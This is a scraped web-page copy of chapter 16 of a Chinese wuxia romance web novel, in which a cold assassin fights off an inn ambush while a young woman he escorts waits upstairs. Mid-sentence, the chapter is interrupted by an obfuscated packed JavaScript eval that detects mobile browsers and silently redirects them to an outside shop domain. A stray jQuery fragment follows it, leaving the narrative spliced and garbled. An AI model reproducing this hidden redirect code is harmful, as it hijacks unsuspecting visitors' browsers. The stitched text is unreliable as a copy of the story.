文趣网 > 其他小说 > 跟冷脸杀手回家以后 > 16. 第 16 章
    被人骂穷鬼,沈煕宁其实并不是很生气,她向来不爱与人计较,在客栈掌柜上来致歉以后,就更不生气了。

    不过,她看着进了屋子,却没有迟迟没有离开的九川,忍不住好奇:“九川哥哥,你不走?”

    九川看了她一眼:“我为什么要走?”

    沈煕宁懵一下,很快反应过来:“那你睡床,我睡地上?”

    她并不好意思一直用一个借口占人家的便宜,不过,她也没睡过地上。

    “或者,你记账,再要一间上房,我睡另外一间屋子,这间屋子给你住。”

    九川:“不用,我今晚不住这里。”

    沈煕宁疑惑:“那你住哪里,外面?”

    九川微侧头,目光落在房门上,仿佛透过薄薄的房门看到了楼下那些正蓄势待发的杀气,冷声警告,“今天晚上,你好好待在屋里,不要出去。”

    沈煕宁恍然,心微紧:“有人要杀你?”

    九川声音平静:“嗯。”

    沈煕宁有些紧张,担忧看他:“那要不,我们逃走?”

    九川:“我可以逃,但你逃不了。”

    早在他踏入客栈的那一刻,就被那个人盯上了。

    他认出他了,不过,他也认出他了。

    他想杀了他,恰好,他也想杀了他。这也是他为什么会突然留下来的原因,并不是因为小二那句话,而是因为他发现了一个他想杀的人。

    九川起身,“你在这里好好待着,我不会让任何人进这个屋子。”

    沈熙宁心脏忍不住提了起来:“好,谢谢。”

    只不过,看着他即将离去的背影,沈煕宁最终还是没忍住,“九川哥哥,你……”

    九川脚步微滞,并没有回头。

    下一刻,姑娘温和而又带着担忧的声音自身后传来,“你小心一些,不要受伤了,我等你回来。”

    九川险些没能握住自己手里的剑,他猛地转身,冷声:“你话很多!”

    “我不需要你说这些莫名其妙的话。”

    他不想欠她的任何人情。

    随后,大步离开了房门,活像后面有人要从兜里抢他的银子一般,不过瞬息,就消失的无影无踪。

    沈煕宁看着他消失得极快的背影,有些茫然望着空荡的房间,嘴唇瘪了瘪,有些委屈。

    她是在关心他,怎么就成为莫名其妙的话了?

    他的脾气是真的很古怪,她就没见过像他这样脾气古怪的人。

    *

    客栈大堂。

    自九川出现以后,一股无形的肃杀之气就开始缓缓弥漫开来。

    所有人都没有说话,只是看着他,放下了自己手里的酒杯双筷,气氛压抑到了极致。

    客栈掌柜和小二不知何时躲在了柜子后面,探头探脑的观察着大堂中所有人的反应,脸上满是后悔之色。

    早知今晚会摊上这事,就算打死他,他也不会开门迎客。

    掌柜满脸痛惜的看着自己的桌椅木凳,碗筷碟子,心中暗自盘算着自己一会儿会损失多少财物,让这群江湖人弥补他的损失,外面,已经有人自角落里站起,看着那站在二楼木廊上,腰佩长剑,头戴竹笠的黑衣人,手一动,寒光微现,直往他而去。

    然而,下一刻,那柄小刀便被黑衣人稳稳夹在了两指之间。

    “嘭!”

    没人看清楚他是什么时候将飞刀扔出去的,神色大骇的看着身旁倒下的人,嘴唇控制不住的颤抖。

    “孤……孤情剑……”

    忽然,有人飞身而上,站在了他对面的木栏之上,厉声呵斥,“孤情剑,你仗着武功高强,在江湖上残杀多人,无恶不作,本应人人得而诛之,可何大师念你自幼被断魂楼控制的份上,劝你放弃屠刀,立地成佛,你不领情也就罢了,还杀了何大师,此等罪孽,但凡是有良知的人,都难容你继续狂妄下去,今日,我等便替天行道,替何大师,替那些曾经死在你手下的人报仇!!”

    九川:“杀人就杀人,何必讲这么多冠冕堂皇的话。”

    那人冷哼:“我等皆是正义之士,出手自然是要有情有理,绝不会如你这般随意践踏他人性命,为虎作伥!”

    九川就像是听到了什么好笑的话一般,嗤笑,“你们这群人真的很有意思,明明都是为了自己的名利,却偏要扯出一张大旗来,想杀我,无非就是想借我的死成为下一个能号召江湖的何一刀……”

    那人厉斥:“都死到临头了,还在狡辩,何大师死于你手,他唯一的稚子就在堂下,你敢看他的眼睛吗?我等为他报仇,是为大义,绝不是你口中的一己之私,你这种自私自利的恶人,是永远不懂江湖大义四个字的,有什么脸说我等自私?”

    就在他话落,一位身着黄衣的少年站了起来,对四周躬身一礼,声音哽咽:“诸位叔伯的心意,我心里的都是明白的,你们都是为了江湖大义,为了铲除江湖上的恶人而挺身而出,绝不是这等恶人口中所说的什么为了名利。”

    “他恶意揣度你们的心思,挑拨你我之间的关系,实在是用心险恶。我替我失去的父亲向诸位叔伯道歉,多谢诸位叔伯替我爹报仇。面对这种恶人,诸位叔伯不必留手!今日,不是你死就是我亡!”

    说完,那黄衣少年便猛地飞身而上向九川袭去,只不过,有人比他更快,一掌将他拍下。

    “贤侄!你天赋虽极好,但这恶人出手诡谲,内力深厚,你还不是他的对手,快快退下!”

    有人将他接住放好,“贤侄,你身为何大师唯一的遗孤,我等绝不能再让你出事,否则,如何面对死去的何大师?你还是快躲起来,亲眼看我等为你爹报仇雪恨!”

    “诸位,还在等什么?一起上,杀了这个恶人!”

    从被人打断了话开始,九川脸色便冷了下来,眼底满是不愉。

    他就不爱和这群冠冕堂皇的人说话,本以为这群人能说出什么不一样的借口来,结果还是一样的。

    眼下见大堂内所有人都向他袭来,眼底的讥讽之色越来越重,足尖一跃,便消失在了二楼的走廊上。

    众人惊骇,“他消失了,大家小心!”

    下一刻,长剑如雪,刺啦一声划破血肉,鲜血喷涌而出。

    那人缓缓转头,却只看到了一截线条流畅下颔,便缓缓倒在地上,再也没了声息。

    “他在这,上!”

    有人发现了九川的踪迹,纷纷围杀而上。

    霎时间,刀剑金戈之声响起,劲气如虹,杀气漫天,桌椅木凳皆碎成木片,四处弹射开来,躲在角落里的掌柜和小二再也不敢探头出去,缩成一团瑟瑟发抖。

    而此刻,黄衣少年却坐在角落里,气定神闲的喝茶,唇角弯弯的看着这一幕。

    自从父亲死后,他便联系

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17901782|212551||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    了众多武功高强的江湖人想要截杀孤情剑。

    这间客栈内有人,客栈外还有人,天罗地网已经布下,孤情剑就算武功再强,也绝不可能从这里活着出去。

    一个区区讨食的乞丐,凭什么武功比他高,凭什么在江湖上人人畏惧?

    他该死!

    他决不允许比他天赋更强的人存在,更别说,这个人还是曾经在他脚下祈食过的乞丐。

    当他发现他还活着的那日,他就一定得死!

    只可惜他爹是个废物,连杀了他这点小事都做不好,否则,他也不必如此麻烦,集结这么多的江湖人来杀他了。

    有人坐观看戏,有人待在屋内走来走去,时不时便往房门所在的地方望去,眼底满是不安。

    方才她想了很久,才想明白,或许,九川哥哥不是脾气古怪,是她在白日里惹了他不开心了。

    她明知道他很在乎钱财,却还是用他的钱财买了那么多东西,想到此处,沈煕宁便忍不住心生愧疚。

    今日的花销其实比起往日里来说,她的花销已经很少了,但不管这钱再少,也不是她自己的钱,而是九川哥哥的。

    虽然,看九川哥哥一边冷着脸不开心,一边掏钱,有时还感觉挺好玩的,但是,她都不应该把这些当做理所当然。

    救他性命是她自己的想做的事情,与他无关,他感谢还是不感谢都是他的事情,她不应该借此向九川哥哥索要报酬的。

    而且,他愿意送她去阜阳,已经是报酬了,她怎么还能索要更多呢?

    不过,心中懊恼归懊恼,沈煕宁也没有想着再与他提什么记账的事情,她知道,他这个人重诺,他说不要,便真的不会要,她再提起,也不过是让他心生不喜。

    以后,她再对九川哥哥好一些就行。

    外面的动静她也听到了,还有什么何大师的话,她也隐隐约约听了一耳。她还是觉得,九川哥哥不是那样坏的人。

    一个人如果特别坏,他怎么可能会信守承诺?

    虽然他讲话不太好听,但他也的的确确没有伤害过自己,甚至还保护了她,所以不管怎样,她都觉得他是一个好人。

    是以,对于众人围杀九川的行径,沈煕宁心中隐隐约约升起不喜。

    就连他们口中德高望重的何大师,她也有些不喜。

    之前在茶棚里的时候听那个中年男子说过,杀那个什么何一刀是九川哥哥自己的主意,并不是断魂楼的任务,而据她自己对九川哥哥的了解,他并不会无缘无故就杀一个人,定是有缘由在的。

    也就是说,这个何大师也不一定是那些江湖人所说的那般光明正大。

    如此看来,江湖上的人和那些她在京城里认识的人也没什么区别,一个两个,都是道貌岸然的伪君子。

    就和骗了她银子的胡老三一样。

    沈煕宁心中愤愤,但无论她再怎么焦急担忧,也只能坐在这里,在心里替他暗暗祈求平安。

    她又不会武艺,就算出去,也帮不了他。

    外面的金戈之声不知道什么时候停下来了,沈煕宁又等了一会儿,见外面的动静是真的停了,便走近房门,想要打开房门,看看外面的情况如何了。

    也就此时,有人猛地一脚踢开房门,还没等她反应过来,眼前白光一现,脖颈便有冰凉传来。她身体顿僵,浑身鸡皮疙瘩密密麻麻的浮现在皮肤之上。